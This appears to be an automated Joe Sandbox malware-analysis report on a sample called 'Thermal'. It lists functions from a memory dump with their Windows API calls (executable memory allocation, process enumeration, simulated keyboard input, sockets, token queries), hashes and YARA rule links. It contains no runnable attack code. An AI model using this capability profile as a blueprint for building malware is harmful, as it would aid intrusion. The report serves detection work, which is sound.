Instruction ID: 57a663ce21a0086502107bae8cc2f8de2b8bee2c2bd4b3c20aa905afce2e343a
Opcode Fuzzy Hash: 1c7a0b4cf5d567063fb252a22b18a222d663ca8053469632dc1d8009451d70dd
Instruction Fuzzy Hash: B6D01770520713CFDB259F79D88864BB6E8BF08391B11882ED49AE2650EF70C8C0CA21

Function 0019E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0019E7A7
CharLowerBuffW.USER32(?,?), ref: 0019E7EA

Part of subcall function 0019DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0019DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0019E9EA
_memmove.LIBCMT ref: 0019E9FD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 0da6760cf03e0e490635d31fa15d5336c1833d154a460dcace08fb4026fa4048
Instruction ID: 61dbe702b265801e169a3c0422fcc96d14de5e5002e2cf72cae0837407ee9bfd
Opcode Fuzzy Hash: 0da6760cf03e0e490635d31fa15d5336c1833d154a460dcace08fb4026fa4048
Instruction Fuzzy Hash: 18C17B71A083019FCB14DF68C48096ABBE4FF99714F04896EF8999B361D731E946CF82

Function 0019877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001987AD
CoUninitialize.OLE32 ref: 001987B8

Part of subcall function 001ADF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00198A0E,?,00000000), ref: 001ADF71

VariantInit.OLEAUT32(?), ref: 001987C3
VariantClear.OLEAUT32(?), ref: 00198A94

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: d3be52047b4afb25174e54ed07188986ba050bfd590afedd787d03d66b8d012e
Instruction ID: 29c76ff31661bc81dc3a8364c78eb3eadbf2adf5eed9a70c22fb4a2827fa1b0f
Opcode Fuzzy Hash: d3be52047b4afb25174e54ed07188986ba050bfd590afedd787d03d66b8d012e
Instruction Fuzzy Hash: 9AA17B35204B119FDB00EF64D481B2AB7E5BF99354F14884DF9969B3A2CB30ED40CB92

Function 0017814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,001B3C4C,?), ref: 00178308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,001B3C4C,?), ref: 00178320
CLSIDFromProgID.OLE32(?,?,00000000,001B0988,000000FF,?,00000000,00000800,00000000,?,001B3C4C,?), ref: 00178345
_memcmp.LIBCMT ref: 00178366

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 33f32fdb30bb3082a6d402a2eda79c8cc903febfc13e885da3dc898bbe97d718
Instruction ID: 66a5605e7842b365dfbc4a2c85b62d6612543cc8e988b270e6798f5f084a3f17
Opcode Fuzzy Hash: 33f32fdb30bb3082a6d402a2eda79c8cc903febfc13e885da3dc898bbe97d718
Instruction Fuzzy Hash: 9E811C71A00109EFCB04DFD4C988EEEB7B9FF89315F208558E519AB250DB71AE46CB60

Function 0017749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001774AC
SysAllocString.OLEAUT32(00000000), ref: 00177555
VariantCopy.OLEAUT32 ref: 00177584
VariantClear.OLEAUT32(?), ref: 001775AB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 174f32e401311b18e2c3bd4e38930c6d356dba55cffa15146c0c4d24efd56406
Instruction ID: b8b2ac66088ae0de6749a5f217c9350ae769b56f9a707125f5e1f6ab5e65b808
Opcode Fuzzy Hash: 174f32e401311b18e2c3bd4e38930c6d356dba55cffa15146c0c4d24efd56406
Instruction Fuzzy Hash: 0F5184306087019BEB249F799895A3EB3B5AF55310F20D81FF54AC76E5EB7098808B15

Function 0019F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0019F526
Process32FirstW.KERNEL32(00000000,?), ref: 0019F534

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Process32NextW.KERNEL32(00000000,?), ref: 0019F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0019F603

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: d2505986ea20de7a7745e5c1832ecddb2d796060256e2facb0d9ef64902ccbf4
Instruction ID: 65a174168cd925e19528ebedd4df59e38e4a58b78f3bf1332e422d0bd898f699
Opcode Fuzzy Hash: d2505986ea20de7a7745e5c1832ecddb2d796060256e2facb0d9ef64902ccbf4
Instruction Fuzzy Hash: 2B515C71504311AFD710EF24EC86A6BBBE8EFA8700F50492DF595D72A1EB70E905CB92

Function 0014492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001449C0
__flush.LIBCMT ref: 001449E0
__write.LIBCMT ref: 00144A13
__flsbuf.LIBCMT ref: 00144A41

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 94766a60401ad630052e1e339f0c8d084f35e4ac1b94c25a36cd0fe00af47f5e
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 2241D67170070AABDF28CFA9C890BAF77A5AF84364B34853DE85AC7660D770DD409B44

Function 0017A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0017A68A
__itow.LIBCMT ref: 0017A6BB

Part of subcall function 0017A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0017A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0017A724
__itow.LIBCMT ref: 0017A77B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 3dfad287e6ad23a0921c66ab15dcadabc78658601b616235c0910f02d79d7f14
Instruction ID: 76a7980b62aaa2d70425382c451893c5fe7e927e8a5a8ac062e4b829e53ab5b6
Opcode Fuzzy Hash: 3dfad287e6ad23a0921c66ab15dcadabc78658601b616235c0910f02d79d7f14
Instruction Fuzzy Hash: 3E41A174A00309AFDF15EF54C856BEE7BB9EF98750F444029F909A3291DB709A44CBA2

Function 00197095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 001970BC
WSAGetLastError.WSOCK32(00000000), ref: 001970CC

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00197130
WSAGetLastError.WSOCK32(00000000), ref: 0019713C

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 6f108a6cb5334b8bd98c05e58a95a832f00eba94c9a09410b47a31e2cdfda8c1
Instruction ID: d9cc48ef8f29ec5cf288cee3ed7e185cdd869b99d1fdd4ef9606f1e16efc469e
Opcode Fuzzy Hash: 6f108a6cb5334b8bd98c05e58a95a832f00eba94c9a09410b47a31e2cdfda8c1
Instruction Fuzzy Hash: 6B41C271740210AFEB25AF64EC86F3A7BE4DF28B10F048558FA599B3C2DB709D108B91

Function 00196B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,001B0980), ref: 00196B92
_strlen.LIBCMT ref: 00196BC4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4cbeea70b28297dea7d081f83de16a88c219ac431e876641ca8af57b30addd15
Instruction ID: 71d054927bc1c66edbe7b40b0a9ac99db07dfc843bdefa0c05c97ce0f5653f64
Opcode Fuzzy Hash: 4cbeea70b28297dea7d081f83de16a88c219ac431e876641ca8af57b30addd15
Instruction Fuzzy Hash: 4841B771A00114ABCF14FBB4DDD5EAEB7A9EF68310F148155F81A97292EB30AE41C760

Function 001A8E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 001A8F03

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: a01d175cd55d6945d38676fc03723394900a8d41b9a4e63ee8d928d65ae05b3e
Instruction ID: 482d7b55c4f167973fdfe32bf52ba275eace0c393abedb909cfaf6aafc58dba2
Opcode Fuzzy Hash: a01d175cd55d6945d38676fc03723394900a8d41b9a4e63ee8d928d65ae05b3e
Instruction Fuzzy Hash: 4831023860411AFFEF259A18CC89FAD77A6EB0B320F144502FA11D65E1DF71E990CB51

Function 001AB1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 001AB1D2
GetWindowRect.USER32(?,?), ref: 001AB248
PtInRect.USER32(?,?,001AC6BC), ref: 001AB258
MessageBeep.USER32(00000000), ref: 001AB2C9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 9a184711410ac4c3b10d79b626d5fe22b3d2f343dcaf0a8cd249ddd27bd42705
Instruction ID: 978f3468b8c12bb6d22b1c24749a7b4b26e6ddf3757f6a0ab81c27d46c75c78b
Opcode Fuzzy Hash: 9a184711410ac4c3b10d79b626d5fe22b3d2f343dcaf0a8cd249ddd27bd42705
Instruction Fuzzy Hash: 08416C38A081959FDB11CF98D8C4BAD7BF5FB4A350F1481ABE818DB266D730A841CB90

Function 001812D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00181326
SetKeyboardState.USER32(00000080,?,00000001), ref: 00181342
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 001813A8
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 001813FA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: cff2927118826f5a75c01a232ce8ca4da6a73d6cc7463ca1eebcd9030cca13c6
Instruction ID: 925b51498d4608b9408339a120acd9d980be65ba1adb9613d964989f58d1c450
Opcode Fuzzy Hash: cff2927118826f5a75c01a232ce8ca4da6a73d6cc7463ca1eebcd9030cca13c6
Instruction Fuzzy Hash: 13313B32940608BEFB35A6258C057FE7BAEBB49330F04431AE89152AD1D3748F869F51

Function 00181410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00181465
SetKeyboardState.USER32(00000080,?,00008000), ref: 00181481
PostMessageW.USER32(00000000,00000101,00000000), ref: 001814E0
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00181532

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 69223195abe09c10cffe21fba3096f4eb47deb2ce753f2226dcd2af679a4e46e
Instruction ID: df054aed776d947b22218350dbf1e632ac097bf458996c1f07f7e80a14cddb3d
Opcode Fuzzy Hash: 69223195abe09c10cffe21fba3096f4eb47deb2ce753f2226dcd2af679a4e46e
Instruction Fuzzy Hash: B2316C329402087EFF35AB658C04BFABBADAB89320F48431AE481525D1C3748F878F61

Function 001563F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0015642B
__isleadbyte_l.LIBCMT ref: 00156459
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00156487
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 001564BD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 787be7111ef3261c3e659cd9a41537ed8921bfd677b3caedc07dccd1189cf874
Instruction ID: fe5c5ac924ab9c6e188a6163b92dfa9653b3cc6e369481f488aecb99d0e39e21
Opcode Fuzzy Hash: 787be7111ef3261c3e659cd9a41537ed8921bfd677b3caedc07dccd1189cf874
Instruction Fuzzy Hash: 9631D031600296EFDB258F65CC44BAB7BA5FF40322F554128FC748B1A0EB31E854DB90

Function 001A552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 001A553F

Part of subcall function 00183B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00183B4E
Part of subcall function 00183B34: GetCurrentThreadId.KERNEL32 ref: 00183B55
Part of subcall function 00183B34: AttachThreadInput.USER32(00000000,?,001855C0), ref: 00183B5C

GetCaretPos.USER32(?), ref: 001A5550
ClientToScreen.USER32(00000000,?), ref: 001A558B
GetForegroundWindow.USER32 ref: 001A5591

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 8b120c60617544cf95be05d07356de13db783e3c543be5bcc64e3bd630671f8a
Instruction ID: 7b12db0fbbb37d633545d06454e05957bc1b6e0220a37ac5a7c410d455617acf
Opcode Fuzzy Hash: 8b120c60617544cf95be05d07356de13db783e3c543be5bcc64e3bd630671f8a
Instruction Fuzzy Hash: C9312D71900118AFDB00EFA5D8859EFB7F9EFA8304F10406AE915E7241EB71AE518FA0

Function 001ACB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

GetCursorPos.USER32(?), ref: 001ACB7A
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0015BCEC,?,?,?,?,?), ref: 001ACB8F
GetCursorPos.USER32(?), ref: 001ACBDC
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0015BCEC,?,?,?), ref: 001ACC16

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 38d9b09270277612fe60bd0aaef8fdba9f385033bf933b4f61462499b0edd301
Instruction ID: c1fe198cc34cc72e37d7dc9331da407fe256431566139d7f309efac86b74fee7
Opcode Fuzzy Hash: 38d9b09270277612fe60bd0aaef8fdba9f385033bf933b4f61462499b0edd301
Instruction Fuzzy Hash: 2E31D238600158AFCB258F58CC89EFE7BB5EB4A350F044099F9059B661C3329D91EFE0

Function 00140BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00140BE2

Part of subcall function 0013402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00187E51,?,?,00000000), ref: 00134041
Part of subcall function 0013402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00187E51,?,?,00000000,?,?), ref: 00134065

_fprintf.LIBCMT ref: 00140C19
OutputDebugStringW.KERNEL32(?), ref: 0017694C

Part of subcall function 00144CCA: _flsall.LIBCMT ref: 00144CE3

__setmode.LIBCMT ref: 00140C4E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 6f5aebb4480de76c8f2650991ad891228f21eb77c0ef9d1cc4fa366fb49e872c
Instruction ID: 2541fb67b8f85befd7b767c3f0b136e36dfbc380b0d21995904d20ec12f1c1a6
Opcode Fuzzy Hash: 6f5aebb4480de76c8f2650991ad891228f21eb77c0ef9d1cc4fa366fb49e872c
Instruction Fuzzy Hash: C9115472904208AFDB08B7A4AC83AFEBB28DF65320F104159F204671E2DF311D4297A0

Function 00179274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00178D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00178D3F
Part of subcall function 00178D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00178D49
Part of subcall function 00178D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00178D58
